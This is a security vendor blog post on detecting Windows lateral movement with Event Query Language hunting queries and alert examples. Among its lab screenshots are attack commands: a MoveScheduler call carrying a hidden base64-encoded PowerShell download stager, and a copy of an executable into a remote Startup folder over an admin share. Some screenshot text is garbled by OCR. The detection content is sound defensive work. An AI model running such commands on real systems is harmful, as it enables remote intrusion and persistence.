Hunting for Lateral Movement using Event Query Language

Se elastic.co/blog/hunting-for-lateral-movement-using-event-query-language

March 18, 2021



<u>Lateral Movement</u> describes techniques that adversaries use to pivot through multiple systems and accounts to improve access to an environment and subsequently get closer to their objective. Adversaries might install their own remote access tools to accomplish Lateral Movement, or use stolen credentials with native network and operating system tools that may be stealthier in blending in with normal systems administration activity.

Detecting Lateral Movement behaviors often involves the design of detections at both the source and the target system, as well as the correlation of more than one type of event (such as network events with process execution events) in order to capture the remote execution context.

In this blog, we explore some examples of techniques and leverage the capabilities of Elastic's <u>Event Query Language (EQL)</u> to design behavioral hunts and detections.

How Lateral Movement works

Lateral Movement is usually composed of the following high-level steps:

- 1. Remote authentication to the target host (valid access credentials are required)
- 2. Staging the command to execute to the remote host or to another resource accessible by the target host such as internet URL or a Network File Share
- Remotely triggering the execution (immediate or scheduled) of the staged program on the target host via accessible remote services and protocols (<u>Service</u>, <u>Task Scheduler</u>, <u>WinRM</u>, <u>WMI</u>, <u>Remote Registry</u>).
- 4. Clean up the staged payload and any other relevant artifacts to avoid suspicion (optional)

Note that staging a program (step 2) is not always necessary, as there are usually exposed services that allow for remote interaction with the target host such as <u>PowerShell Remoting</u> and <u>Remote Desktop (RDP)</u>.

Lateral Tool Transfer

Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. A commonly abused vector is <u>SMB/Windows Admin Shares</u> via the use of built-in system commands such as <u>copy</u>, <u>move</u> <u>copy-item</u>, and others:



Figure 1: File copy via system command

From the source machine, there are alternative methods of copying the file without having to execute suspicious commands. Still, it's important to look for low-hanging detection opportunities.

Figure 2 below shows an EQL query that looks for the following behavior that is consistent with an attacker transferring a file to a remote host:

- Execution of a command interpreter with a <u>process.args</u> keyword array related to file copy (copy , move) and a hidden file share (prefixed by a \$ sign such as c\$ admin\$)
- Staging data from a shadow copy volume (often associated with credential access via staging of <u>NTDS.dit</u> or <u>Registry SAM</u> key to access stored account password hashes)

```
process where event.type == "start" and
process.name : ("cmd.exe", "powershell.exe", "robocopy.exe", "xcopy.exe") and
process.args : ("copy*", "move*", "cp", "mv") and
process.args : ("*$*", "*HarddiskVolumeShadowCopy*")
```

Figure 2: Hunting EQL for file transfer via hidden file share from source machine On the target machine, we've observed that all files copied via server message block (SMB) are represented by a file creation event by the virtual process **System** (always has a static <u>process.pid</u> value equal to 4 and represents the Windows kernel code and loaded kernel mode drivers):



Figure 3: File creation event details depicted in Kibana's Discover view as a result of file transfer over SMB

A file creation event alone is not enough (the System process may create files that are related to local activity) to conclude that this activity pertains to a Lateral Movement attempt. Thus, we need to correlate it with *incoming* SMB network events by the same process:



Figure 4: Hunting EQL for file transfer via hidden file share from target host The above query looks for an incoming remote network event to tcp port 445 (SMB) followed by immediate file creation or modification (can be limited to executable file extension to reduce false positives) and both events are performed by the same (<u>process.entity_id</u>) virtual <u>System</u> process.

😵 Elastic	Q. Search Elastic 🗘 &
Security / Detections	
Overview Detections Hosts Network Timelines Cases Administration	× ☆ Untitled timeline Description □ □ Feb 15, 2021 ⊕ 1 ○ Refresh ③
[™] Search [®] signal.rule.name: Lateral Tool Transfer × + Add filter	(signal group.id: "adb053e2d83377atcdc64113094d59995978e8c1340c738f39fddbdca488e550" ×)) (a) () + Add field
Detection alerts Last alert: 4 minutes ago	Image: Weight of the search KOL Image: KoL Image: KoL Image: Imag
Trend Showing: 2 alarts 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 2 0 1 1 <td>Image: Testage event.action heat.anne source.pt Image: Fight 55.0218 (1555.0000) Indexide retreevent Indexide retreevent</td>	Image: Testage event.action heat.anne source.pt Image: Fight 55.0218 (1555.0000) Indexide retreevent
	3 v of 3 events < 1 > (9 Updated 40 seconds ago

Figure 5: Detection alert example for Lateral Tool Transfer from target host

The above alert contains details about the file that was copied as well as the <u>source.ip</u> address of the Lateral Movement activity. The same logic triggers on <u>PSExec</u>, a remote execution utility often abused by adversaries for the same purpose:



Figure 6: Lateral Tool Transfer triggering on PSEXEC from target host

We can also leverage <u>EQL correlation</u> to capture instances where a file that was copied via SMB is immediately executed:



Figure 7: Hunting EQL for remote execution via file shares

The above EQL looks for a <u>sequence</u> of events where a file is created/modified by the virtual <u>System</u> process followed by a process event where the <u>process.executable</u> is equal to the <u>file.path</u>. Below is an alert example:

😔 Elastic	Q Search Elastic	© & ©
Security / Detections		
Overview Detections Hosts Network Timelines Cases Administra	× ☆ Untitled timeline Description 🔽 Notes • 🕅 🖄 ∨ Feb 15, 2021 @ 11:53:48.1 → I	Feb 15, 2021 @ 11:59:48.1 C Refresh
Image: Search Image: Search	(
Detection alerts	avery Filter ∨ IV Search Image: Search Image: Search Image: Search Image: Search	KQL •• All data sources ~
	> □ □ □ □ □ > □ □ □ □ □ □	MSEDGEWINIOCLONE -
Trend	> O 🛱 🗰 (Feb 15, 2021 @ 11:59:48.135) Endpoint file event / I file // (creation //	
Showing: 2 alerts	✓ ○ □ 車 === (Feb 15, 2021 @ 11:59:48135) Endpoint process event () process () (start)	MSEDGEWINIOCLONE
2 18 14 14 14 15 16 18 10 10 10 10 10 10 10 10 10 10 10 10 10	Table JSON View 13 "subject_meme"1"Microsoft Carporation", **edits"; true; 16 14 "subject_meme"1"Microsoft Carporation", **edits"; true; 15 15 ; 16 16 ; 17 17 ; 18 18 **exerting: "system", **exerting: lowel: memer; "system", **exerting: lowel: memer; "system",	
20-19 11:50 02-15 11:55 Showing 2 alerts Selected 0 alerts Take action ∨ Q Select al 2 alerts III 00:000 000000000000000000000000000000000000	<pre>11</pre>	
>) 2 Feb 15, 2021 @ 11:59-48.130 Remote Execution via File Shares	3 755*17 748, 3 of 3 events < 1 >	© Updated 3 minutes ago

Figure 8: Detection alert for remote execution via file shares from target host Another example where file transfer over SMB can be abused for remote execution is copying a malicious executable, script, or shortcut to the <u>Startup folder</u> of a target host. This will cause the program referenced to be automatically executed when a user logs in, and in the context of that user:



Figure 9: Hunting EQL for Lateral Movement via startup folder

Below is an example of a detection alert for Lateral Movement via the Startup folder:

😔 Elastic								as ^e 💿
Security / Detections								
Overview Detections Hosts Network Timelines Cases Administration						ML job settings $ \!$	Add data	
Search			KQL	✓ Last 1 hour		Show dates	ී Refresh	
(च signal.rule.name: Lateral Movement via Startup Folder X + Add filter								
						• Later Start	al Movement via up Folder	<
0 12-01 10:55 12-01 11:00 12-01 11:05 12-01 11:10 12-01 11:15	12-01 11:20 12-01 11:25	12-01 11:30	12-01 11:35	12-01 11:40	12-01 11:45 12-01 1	11:50		Jeline
Showing 1 alert Selected 0 alerts Take action 🗸 🔓 Select all 1 alert	Dowershell (running as LAPTOP- PS C:\> cp C:\temp\autoch PS C:\> dir '\\10.0.2.15\ Directory: \\10.0.2.1	JU4M3IOE\IEUser) k.exe '\\10.0.2.19 c\$\Users\IEUser\Ag 5\c\$\Users\IEUser [\]	5\c\$\Users\IEUser\A opData\Roaming\Micr \AppData\Roaming\Mi	AppData\Roaming\V rosoft\Windows\SI icrosoft\Windows\	Microsoft\Windows\Sta tart Menu\Programs\St. \Start Menu\Programs\:	rt Menu\Programs\S artup\' Startup	tartup\'	
□ III 🛞 🗊 @timestamp ↓ Rule	Mode Lastw	riteTime I	Length Name					
○ ♦ see IDec 1, 2020 @ 11:49:01:459 ILateral Movement via Startup Folder Table JSON View	-a 04/04/2020 -a 04/04/2020 -a 10/11/2020	21:53 2 21:53 2 10:16	280064 autochk.exe 280064 cmd.exe 7 OneNote.lnk					
11) 12) 13) 14 "Didf: 4, 15 "mettiy_de:", "ykJ2mk/2jttv252182/TRkLTenksQet6V2260kdyU2j81LTQeHTwyNTExYQU200kwHTk3HT13HzAw" 15 "mettiy_de:", "ykJ2mk/2jttv252182/TRkLTenksQet6V2260kdyU2j81LTQeHTwyNTExYQU200kwHTk3HT13HzAw" 16 "QE1mettang", "3208-12-10115k-04:091.4592", 17 "file"; (20 "file"; (21 "windows"; (22 "source	PS C:\>							
24), 25 math:: "Ci\Users\LEUser\\AppOata\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\a 26 maar: "#action" *cer 28 maar: "#action.cea"	utochk.exe",							

Figure 10: Detection alert for Lateral Movement via startup folder

Remotely Scheduled Tasks

Adversaries may leverage scheduled tasks for remote execution — either via built-in system utilities such as schtasks.exe or directly via the <u>Task Scheduler API</u>, which may be stealthier because visibility is limited.

Below is an example of remote task creation via the <u>MoveScheduler</u> penetration testing tool:

cmd (running as MSEDGEWIN10\Administrator)		đ	\times
<pre>c:\ProgramData\Intel>MoveScheduler.exe -m SchedulerAPI -t 10.0.2.17 -c "powershell.exe -nop -w hidden -e WwBOAGUAA AHYAaQBjAGUAUABvAGKAbgB0AE0AYQBUAGEAZWBIAHIAXQA6ADoAUwBIAGMAdQByAGKAdABSAFAAcgBvAHQAbwBjAGBADA9AFsATgBIAHQALgBTA4 QB0AHKAUAByAGBAdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsaJABsAD0AbgBIAHcALQBvAGIAagBIAGMAdAAgAGAAZQB0ACAAdw AKAZQBUAHQAOWBPAGYAKABbAFMAeQBzAHQAZQBtAcAATgBIAHQALgBXAGUAYgB0AHTAbwB4AHKAXQA6ADOAWBIAGAAAgAGAAZQB0ACAAdw pAC4AYQBKAGQAcgBIAHMAcwAgAcOBAbgBIACAAJABUAHUAbABSACKAewAKAGwALgBwAHIAbwB4AHKAXQA6ADOAKWBIAHQAKABBIAGYAYWBIAGIAUBBIAGWAJABAGAAZQB0ACAAdw pAC4AYQBKAGQAcgBIAHMAcwAgAcOBAbgBIACAAJABUAHUAbABSACKAewAKAGwALgBwAHIAbwB4AHKAYQA6ADOARWBIAHQAXBBIAGYAYWBIAGIAUBBIAGHAI pAC4AYQBKAGQAcgBIAHMAcwBaAGUAbQBXAASUAYBQAHIAbwB4AHKAXAPADDSAJABSAC4AUAByAGBAAGASCAAQwByAGUAZABIAG4AdABpAGEAbABZADOAM paC4AYQBKAGQAcgBIAHMAcwBgAcHAGMABABIAFOAQGBAAHKAKAAPADDSAJABSAC4AUAByAGBAABSAC4AQwByAGUAZABIAG4AdABpAGEAbABZADOAM BJACGADGQAZQBUAHQAaQBhAGMAGWABHAGMABABIAFOAQQABWAGCQAZQBmAGEAdQBSAHQAQWBYAGUAZBBIAG4AdABpAGEAbABZADSAFQAZQBHACEAAQBSAHQAQWBYAGUAZBBIAGAAdBpAGEAbABZADSAFQAZQBHAGEAADABA BJACGADABBIAGOAZQBJAHQAIXBOAQWABHAAGMABABAFAGAQZBHAABABAGAGQBSAHQAQWBYAGUAZABIAG4AdABpAGEAbABZADSAFQAZQBHAGEAADABA AMQAwAC4AMQAwAC4ANQAXACAANQAXADKAOZGAYQAVAGAABWAGAABBAGBACKALgBEAGBAMBUAGwAbwBhAGQALWBBAHIAAQBBUAGCAKAANAGGAGAW ACAATgBIAHQALgBXAGUAYZGBAAADAAAAAACAAPAC4ARABVAHCAbgBSAGCKALGBEAGBAMBUAGMADwBAACGAJWBOAHQAABBAGCGAKABUAGUAWAATAGBAY ACAATgBIAHQALgBXAGUAYZGBAGWAAQBIAGAAADAC4ARABVAHCAbgBSAGSAYQBKAFMAAABYAGAABGAADAGAAWAQAAABWAADOALwAVADEAMAAUA QAUADEAMQASADAOAAAWAQBAMAAYAGEJJWAPACKAOWA="""""""""""""""""""""""""""""""""""</pre>	IAAUAF SUAYWE SIAGIA AbwB4A AbwB4A WB0AGL WB0AGL AAKAAC SAHAAC YgBqAG DEAMAA	FMAZQE B1AHIA AYwBsA AHkAKA ABdADo JAdAAL DAG4AZ OgAVAC GUAYWE AUADEA	AG AA AA AA AA AA AA AA AA AA
<pre>[*] Authenticating as: MSEDGEWIN10\IEUser [*] Authenticating as: MSEDGEWIN10\IEUser [*] Arguments: - nop -w hidden -e WwBOAGUAdAAuAFMAZQBYAHYAaQBjAGUAUABvAGKAbgB0AE0AYQBuAGEAZwB1AHIAXQA6ADoAUwB1AGM SAFAAcgBvAHQAbwBjAGBAbAA9AFSATgB1AHQALgBTAGUAYwB1AHIAaQB0AHKAUAByAGBAdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAUwB1AGM SAFAAcgBvAHQAbwBjAGBAbAA9AFSATgB1AHQALgBTAGUAYwB1AHIAaQB0AHKAUAByAGBAdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyy bgB1AHcALQBvAGTAagB1AGMAdAAgAG4AZQB0AC4AdwB1AGIAYwBSAGKAZQBUAHQAOwBpAGYAKABbAFMAeQBZAHQAZQBtAC4ATgB1AHQALgBXAGUAY bgB1AHcALQBvAGTAagB1AGMAdABAG4AZQB0AC4AdwB1AHBAGABVAVGBKAGQACgB1AHMACwAgAC4AbgB1ACAAJABUAHABSACKAwAKAG B4AHKAPQBbAE4AZQB0AC4AVWB1AGIAUgB1AHEAdQB1AHMAdABdADoAQBHAGUAABTAHKAcxB0AGUAHQBXAGUAYgBQAHIAbwB4AHKAKAApADsAJA B4ABSAC4AQwByAGUAZAB1AG4AdBpAGEAbABzAD0AdwWBDAGGUAdAuAEMAcgB1AGQAZQBJAGWACGBHAGWACAGBHAGWAUABCAAGABAAGAAAAAAAAAAAAAAAAAAAAAAAAAAA</pre>	AdQByA ADSAJA gBQAHI vALgBw SAC4AL dQBSAH CKALgE 31AHMA AYQBKA	AGKAdA ABsADQ IAbwB4 VAHIAL JABYAQ HQAQWE BEAG8A AVAAZA AFMAdA	AB 4A 58 3y 4D 4B
<pre>[*] Failed to get remote DateTime, using local system time. [*] Local Time is: 2/15/2021 5:34:52 AM [*] Remote Time is: 2/15/2021 5:34:52 AM [*] Time to add is: 0 [*] Remote start time is 0 minute(s) from now: 2/15/2021 5:34:52 AM [*] Will trigger at: 2/15/2021 5:34:52 AM [*] Running with highest privs! [*] Adding to root folder [-] (17,8):UserId:</pre>			

Figure 11: Lateral Movement via MoveScheduler

Both schtasks.exe and direct usage of a custom implementation will cause a process to load the Task Scheduler COM API (taskschd.dll), followed by an outbound network connection where both the <u>source.port</u> and the <u>destination.port</u> are equal or greater than RPC dynamic ports (49152 to 65535) and from the same <u>process.entity_id</u>, which can be translated to this <u>EQL</u> query:



Figure 12: Hunting EQL query for outbound task scheduler activity on source host Of course, matches to this query can be related to scheduled tasks discovery as well. Below is an example of an alert where we can observe the username, source, and destination IP, as well as the process name used to perform a remote task activity:



Figure 13: Detection alert for Lateral Movement via Scheduled Task on source host On the *target* host, we can hunt for remote scheduled task creation/modification via two options:

 Incoming <u>DCE/RPC</u> (over TCP/IP) network event by the Task Scheduler service (svchost.exe) followed by a file creation of a task XML configuration file (C:\\Windows\\System32\\Tasks\\task_filename) 2. Incoming <u>DCE/RPC</u> (over TCP/IP) network event by the Task Scheduler service (svchost.exe) followed by a registry change of a task cache Action value (HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\{GUID}\\Actions)

Option A provides us with the task name (equal to the <u>file.name</u> of the changed/created file), and Option B provides us with the task action itself (equal to the base64 decoded data of the Action registry value where the task scheduler service caches the task action configuration):



Figure 14: Hunting EQL query for task creation on target host (Option A)



Figure 15: Hunting EQL query for task creation on target host (Option B) Option B has the advantage of providing details about the task action, which tend to be useful while triaging (set to execute a program from a <u>suspicious path</u>, <u>LOLBAS</u> process, etc.).

😔 Elastic	Q Search Elastic			© & ©
Security / Detections	-			
Overview Detections Hosts Network Timelines Cases	× 🟠 Untitled timeline Description	□ Notes □	6.42 → Nov 21, 2020 @ 18:02:56.4	2 C Refresh
Search - - signal.rule.name Remote Scheduled Task Test + Add filter	(signal.group.id: "b14924d7119b39f86c72051cfaf90d1ece4337f7	a0996748527c7a44834fa4b" X)		
5	AND Filter V Search		KQL	● All data sources ∨
		nt.category event.action host.name	source.ip	destination.ip
2020-11-22 2020-11-29 2020-12-08 2020-12-13	☑ 1 mm Nov 21, 2020 @ 18:02:56.421 / Endpoint network event / Ine	twork connection_accepted MSEDGE	WIN10 10.0.2.16	10.0.2.15
Showing 13 alerts Selected 0 alerts Take action ~ 🔓 Select all 13 alerts	<pre>"registry": ("negistry": ("nive": 'HKUN', "path": 'HKUN',SOFTWARE\/Wicrosoft\/Windows NT\/CurrentVersion\/ "path": 'HKUN',SOFTWARE\/Wicrosoft\/Windows NT//CurrentVersion\/</pre>	Schedule\\TeskCeche\\Tesks\\{1E84D287-6094-483A-A270-0738042F	0264}\\Actions",	
→ → → → Dec 15, 2020 @ 08:57:30.333 Remote Scheduled Task Test	"bytes": "AwAMAAAAQQBIAHQAaABvAHIAZmYAAAAALgAAAEMAOgBcAFUAcwB1 "type": "REG_BINARY"	AHIAcwBcAFAAdQBiAGwAaQBjAFwAcwBhAGBALgBiAGEAdAAAAAAAAAAAAAAAA	3	
> 🔿 🖧 🚥 Nov 23, 2020 @ 15:45:31.931 Remote Scheduled Task Test	"value": "Actions", "value": "Gottions",			
>) 🖓 🖧 🚥 Nov 23, 2020 @ 15:25:19.885 Remote Scheduled Task Test	<pre>>>> So There (there over equations in ((corrected add)(sectors)) >> "agent": {</pre>			
□ > ○ 😤 ••• Nov 23, 2020 @ 11:33:15.184 Remote Scheduled Task Test	"id": "b07fedf1-c13f-6a4a-7f74-0f3dbd655f0e", "type": "endpoint", "werder: "7 10 0"			
□ > ○ 🖧 🚥 Nov 21, 2020 @ 21:39:44.455 Remote Scheduled Task Test				
> O 😌 👓 Nov 21, 2020 @ 18:02:56.421 Remote Scheduled Task Test	"Ext": {			
□ > ○ 🖗 😽 🚥 Nov 21, 2020 @ 15:06:39.121 Remote Scheduled Task Test	"YjA3ZmVkZjEtYzEzZi02YTRhLTamWzQtMGYzZGJkNjUI2jBLLTUSMi80MEI "YjA3ZmVkZjEtYzEzZi02YTRhLTdmNzQtMGYzZGJkNjUI2jBLLTQ40C0xMzI 1	IMDQ0NIEINI4%NJKINZQMDA+", IMDQ0NZEINI4%MZYXNDAwMA=="		
□ > ○ ⁵ / _{8*6} •••• Nov 21, 2020 @ 15:01:34.796 Remote Scheduled Task Test), "name": "svchost.exe",			
> O 🖧 🚥 Nov 21, 2020 @ 14:31:23.152 Remote Scheduled Task Test	"pid": 1168, "entity_id": "YjA3ZmVKZjEtYzEzZi02YTRhLTdmWzQtMGYzZGJKNJUIZjB1LT "manutable": "CJJJWindowsJJSwitem33JJyzychort eve"	ExNjgtMTMyNTA0NDcxNTguOTQ4ODg00DAw",		
> O 🖧 🚥 Nov 21, 2020 (a) 12:50:31.476 Remote Scheduled Task Test	secondar . C. (mandows (Systemszi(Systemszieke			
> O 🖧 🚥 Nov 20, 2020 @ 14:44:31.654 Remote Scheduled Task Test	3 v of 3 events	< 1 >		Opdated 1 minute ago

Figure 16: Detection alert for Lateral Movement via Scheduled Task on target host Decoding the registry Action base64 encoded data provides us details about the created task action:

■ base64decode.org	
	Decode from Base64 format
	Simply enter your data then push the decode button.
	AwAMAAAAQQB1AHQAaABvAHIAZmYAAAAALgAAAEMAOgBcAFUAcwBIAHIAcwBcAFAAdQBiAGwAaQBjAFwAcwBhAG0ALgBiAGEAdAAAAAAA AAAAAAA
	For encoded binaries (like images, documents, etc.) use the file upload form a little further down on this page.
	UTF-8 V Source character set.
	Decode each line separately (useful for when you have multiple entries).
	Decodes in real-time as you type or paste (supports only the UTF-8 character set).
	CODE > Decodes your data into the area below.
	DAuthorff,C:\Users\Public\sam.bat

Figure 17: Base64 decoded data of the scheduled task action registry value

Remote Registry

Adversaries may leverage the Remote Registry service for defense evasion or remote execution. One simple scenario is to modify the Run key registry on a remote system to cause the execution of a program upon system startup or user logon:



Figure 18: Remote modification of the Run registry key via reg utility

We can hunt for this behavior from the source machine by looking for the execution of **reg.exe** with process.args containing *****, but the same action can be achieved via API calls avoiding <u>process</u>.command_line-based detections.



Figure 19: Example of Reg.exe process execution event on source host

Note that **Reg.exe** is not performing any network connection — instead, it's the virtual **System** process that issues an outbound network connection to the target host on port 445 (<u>DCE/RPC</u> over SMB).

On the target host we can see the following sequence of key events:

- 1. Incoming network connection on tcp port 445 (<u>DCE/RPC</u> over SMB) by the virtual System process (<u>process.pid</u> equal 4)
- 2. RemoteRegistry service process starts (svchost.exe with process.args containing the string RemoteRegistry)
- 3. **RemoteRegistry** service process performs the registry change

AND Filter V	🖫 🗸 Search							KQL 💿 All data sources 🗸
	🗐 – + Add filter							
ii 🕸 🖸	@timestamp ψ	message	event.category	event.action	host.name	source.ip	destination.ip	user.name
> 0 🕫 🛱 🚥	Nov 21, 2020 @ 17:54:51.532	Endpoint network event	network	connection_accepted	MSEDGEWIN10	#10.0.2.16	10.0.2.15	SYSTEM
> 〇 中 車 🚥	Nov 21, 2020 @ 17:54:51.532	Endpoint process event	process	start	MSEDGEWIN10	//////////////////////////////////////	///////////////////////////////////////	LOCAL SERVICE
> 〇 🖓 🛱 🚥	Nov 21, 2020 @ 17:54:51.532	Endpoint registry event	registry	modification	MSEDGEWIN10	//////////////////////////////////////	///////////////////////////////////////	LOCAL SERVICE

Figure 20: Remote Registry-relevant events on target host

The following <u>EQL</u> hunt can be used to correlate (2) and (3) by <u>host.id</u> and <u>process.entity_id</u> of the Remote Registry service:



Figure 21: Hunting EQL to detect Remote Registry modification via Regsvc on target host If we include (1) in the above <u>sequence</u> to capture the <u>source.ip</u> address, it may trigger on unrelated incoming SMB connections as the only common element between the three events limited to the <u>host.id</u> value.

😔 Elastic	Q Search Elastic		o 🔊 💿
Security / Detections			
Overview Detections Hosts Network Timelines Cases	X 🏠 Untitled timeline Description	f f if	16:18:06.887 C Refresh
Image: Signal.rule.name:*Remote*Registry* Image: Signal.rule.name: Remote Registry Modification × + Add filter	(signal.group.id: '6807ad91e2c87bd116fa9082fe339568571937c91c3120af782776de578br	987" ×)	
Detection alerts Last aler: 1Poor ago	(we) Filter ∨ 😰 ∨ Search ⓒ - + Add filter		KQL •• All data sources ~
Trend Stowing: I alert	Image Omega event.category > <t< th=""><th>event.action host.name [start iMGEDOEWNIO modification IMGEDOEWNIO</th><th>LOCAL SERVICE</th></t<>	event.action host.name [start iMGEDOEWNIO modification IMGEDOEWNIO	LOCAL SERVICE
0	<pre> registory : regi</pre>]	
Showing 1 alert Selected 0 alerts Take action ∽ Select all 1 alert III (3) (3) (4) (4) (4) (4) (4) (4) (4) (4) (4) (4	<pre>1</pre>	celuumiyvotiingumgaw",	
	3 v of s events	1 >	O Updated 10 seconds ago

Figure 22: Detection alert for Remote Registry modification via Regsvc on target host Adversaries may attempt to achieve the same outcome via the Windows Management Instrumentation (WMI) registry provider (<u>StdReg</u>), which behaves differently:

- 1. WMI Service (svchost.exe with <u>process.args</u> containing <u>Winmgmt</u> string) accepts an incoming <u>DCE/RPC</u> (over TCP/IP) network connection where both <u>source.port</u> and the <u>destination.port</u> are greater than or equal to RPC dynamic ports (49152 to 65535)
- 2. A new instance of the WMI Provider Host (process.name equal to WmiPrvSe.exe with <u>user.name</u> equal to <u>Local Service</u> or <u>user.id</u> equal to <u>S-1-5-19</u>) is started
- 3. The started WMI Provider Host loads the registry provider StdProv.dll module
- 4. The WMI Provider Host performs the registry change

We can express the correlation of (1), (2) and (4) with the following hunting EQL:



Figure 23: Hunting EQL for Remote Registry modification via Regsvc on target host If logging of the StdProv.dll module loading is enabled, we can also add (3) to the sequence to reduce potential false positives:



Figure 24: Hunting EQL for Remote Registry modification via Regsvc on target host (library event)

Below an example of a detection alert where we can see the remotely modified registry details and the remote <u>source.ip</u>:

😔 Elastic	Q Search Elastic				© & §
Security / Detections					
Overview Detections Hosts Network Timelines	× ☆ Untitled timeline Description	□ Notes □ 🖬 🖶 → Dec 5,	2020 @ 22:39:59.84 → Dec 5, 2020	@ 22:45:59.84	ී Refresh ලි
Signal.rule.name:"Incoming Registry Modification Using WMI" S = ± Add filter	(signat.group.id: "91/a4bds334217a1e65x37fb94829a850adba335ff09 () + Add field	30474b959182dc449ba0" ×)			
Detection alorts	ND Filter V Search			KQL) All data sources $$
	(=) - + Add hitter				
	G G	event.category event.action	host.name sourc	e.ip	destination.ip
Trend	> ○ □ □ □ □ □ □ □ □ □ □ □ □ □ □ □ □ □ □	i process			/////////////////////////////////////
Showing: 1 alert	✓ 〇 戸 草 *** / Dec 5, 2020 @ 22:45:59.824 Endpoint registry event	registry modification			<u> </u>
Showing 1 alert Selected 0 alerts Take action ~ ▲ Select all 1 alert Image: Showing 1 alert Selected 0 alerts Take action ~ ▲ Select all 1 alert Image: Showing 1 alert Selected 0 alerts Take action ~ ▲ Select all 1 alert Image: Showing 1 alert Select all 2 alert ■ East ■ East Image: Showing 1 alert Image: Select all 1 alert ■ East	Table JSON View	<pre>jBilTiyHjAHTTUHTENtegHtecuOTUyH0I4HjAw",</pre>			
	4 v of 4 events	< 1 >			() Updated 1 minute ago

Figure 25: Detection alert for Remote Registry modification via the WMI on target host

Sharp Remote Desktop

<u>SharpRDP</u> is a Lateral Movement tool that leverages the Remote Desktop Protocol (RDP) for authenticated command execution and without the need for graphical interaction.

Once authenticated, SharpRDP sends <u>virtual keystrokes</u> to the remote system via a method called <u>SendKeys</u> to open up a <u>Run dialog</u> on the target host and then enter a specified command, which will be executed on the target host.

The main indicator from the source host is an unusual process (hosting SharpRDP code) loading the Remote Desktop Services ActiveX Client that implements RDP client functionality (MsTscAx.dll) followed by an outbound network connection to RDP tcp port



Figure 26: Hunting EQL for suspicious RDP Client

Below an example of results matching our hunting EQL where we can see an unusual process (other than mstsc.exe and similar known RDP clients) loading the Remote Desktop Services ActiveX Client (MsTscAx.dll) as well as the outbound network connection:

😔 Elastic	Q Search Elestic 🗘 🖨	8
E Dev Tools		
Console Search Profiler Grok Debugger Painless Lab BETA		
History Settings Help	200 - success 4306	ms
<pre>1 GET /*/_eQL/search 2 - { "query: **** sequence by hors.id, process.entity.id with morpon-38% for process.executable : // // // /// /// /// /// //// //</pre>	<pre></pre>	

Figure 27: Results example for suspicious RDP Client EQL hunt

On the target host, the following key events occur within a one-minute time window:

- 1. An incoming network connection is accepted by the RDP service (TermService svchost.exe) on port 3389
- 2. Under the <u>RunMRU</u> registry key, a new (or update to an existing) string value is set to cmd, powershell, taskmgr or tsclient (depending on the chosen SharpRDP <u>execution method</u>), which is caused by the typed command in the <u>Run dialog</u> via the <u>SendKeys</u> method
- 3. Depending on the execution <u>method</u>, a new process (attacker command) is created with <u>process.parent.name</u> of <u>cmd.exe</u>, <u>powershell.exe</u>, <u>taskmgr.exe</u>, or a random executable running from the <u>tsclient</u> mountpoint (shared drive from the RDP client host with the RDP target server)

For (2), note that when running anything from the <u>Run dialog</u>, a registry entry will be created at <u>HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU</u> showing what was entered into the <u>Run dialog</u> box.

The above <u>sequence</u> of events can be expressed with the following <u>EQL</u>:

/* Incoming RDP followed by a new RunMRU string value set to cmd, powershell, taskmgr or tsclient, followed by process execution within 1m */
<pre>sequence by host.id with maxspan=1m [network where event.type == "start" and process.name : "svchost.exe" and destination.port == 3389 and</pre>
<pre>network.direction == "incoming" and network.transport == "tcp" and source.address != "127.0.0.1" and source.address != "::1"</pre>
registry.data.strings : ("cmd.exe*", "powershell.exe*", "taskmgr*", "\\\\tsclient*.exe*")]
<pre>[process where event.type in ("start", "process_started") and (process.parent.name : ("cmd.exe", "powershell.exe", "taskmgr.exe") or process.args : ("\\\\tsclient*.exe")) and not process.name : "conhost.exe"]</pre>

Figure 28: Hunting EQL for SharpRDP behavior on the target host Example of a detection alert and its composing event details on the target host:

穿 Elastic	Q Search Elastic	o & (
Security / Detections	-	
Overview <u>Detections</u> Hosts Network Timeling	r X ☆ Untitled timeline Description 🔽 Notes 0 🛱 🗒 ∨ Nov 13, 2020 @ 12:37:56.41 → Nov 13, 2020 @ 12:43:56.41	ී Refresh ද්ද
 Signal.rule.name :*Sharp* → Add filter 	(
1 02220-02-012220-04-012220-05-01	Noc Filter You Search KQL Image: Control of the search KQL	All data sources
Showing 6 alerts Selected 0 alerts Take action C Select all 8 alerts Image: Selected 0 alerts Take action Rule Image: Selected 0 alerts Rule Rule Rule Image: Selected 0 alerts Rule <	Image: The control of the second s	0235
	4 v of 4 events < 1 >	Updated 1 hour

Figure 29: Detection alert for SharpRDP on target host (TermService network connection)

😔 Elastic	Q. Search Elastic	o 🔊 🧿						
Security / Detections								
Overview <u>Detections</u> Hosts Network Timeling	X ☆ Untitled timeline Description	3:56.41 C Refresh						
 [Ÿ] ~ signat.rule.name :*Sharp* ⑦ = + Add filter 	(signal.group.id:*az21736cc6885fcbe801692d890b45bbc1fb4e8837b8cb5e10180578d9fe4c53*x]) (()) + Add field							
	(m) Filter ∨ E ∨ Search If (m) - + Add filter IE (R) E Search If	KQL All data sources destination.ip						
Showing 8 alerts Selected 0 alerts Take action ✓ L Select all 8 alerts	> O D Image: The second secon	10.0,215						
> 0 25 and 100 13, 2020 (a) 12:43:56.413 Potential SharpRDP (V O D D to see Nov 13, 2020 (a 12:43:56.413 Endpoint registry event registry modification MSEDGEWIN10	///////////////////////////////////////						
> 0 25 000 Nov 13, 2020 @ 11:23:13.629 Potential SharpRDP I	Table JSON View							
> →	2 'registry': (3 ''mic'': 'ME(VLSES', 4 ''path': ''ME(VLSES', 5 ''data': (5 ''data': (
> O 🖧 •••• Nov 12, 2020 @ 12:17:01.933 Potential SharpRDP (6 "strings": [7 "powershell.exe\\1"							
> S & •••• Nov 12, 2020 @ 12:17:01.932 Potential SharpRDP 0	9 (ftype": "REG_SZ" 10 },							
>	11 "value": "C", 12 "key": "S-1-5-21-3461283602-4096304019-22698808069-1000\\Software\\Mircosoft\\Mindows\\CurrentVersion\\Explorer\\RunMRU"							
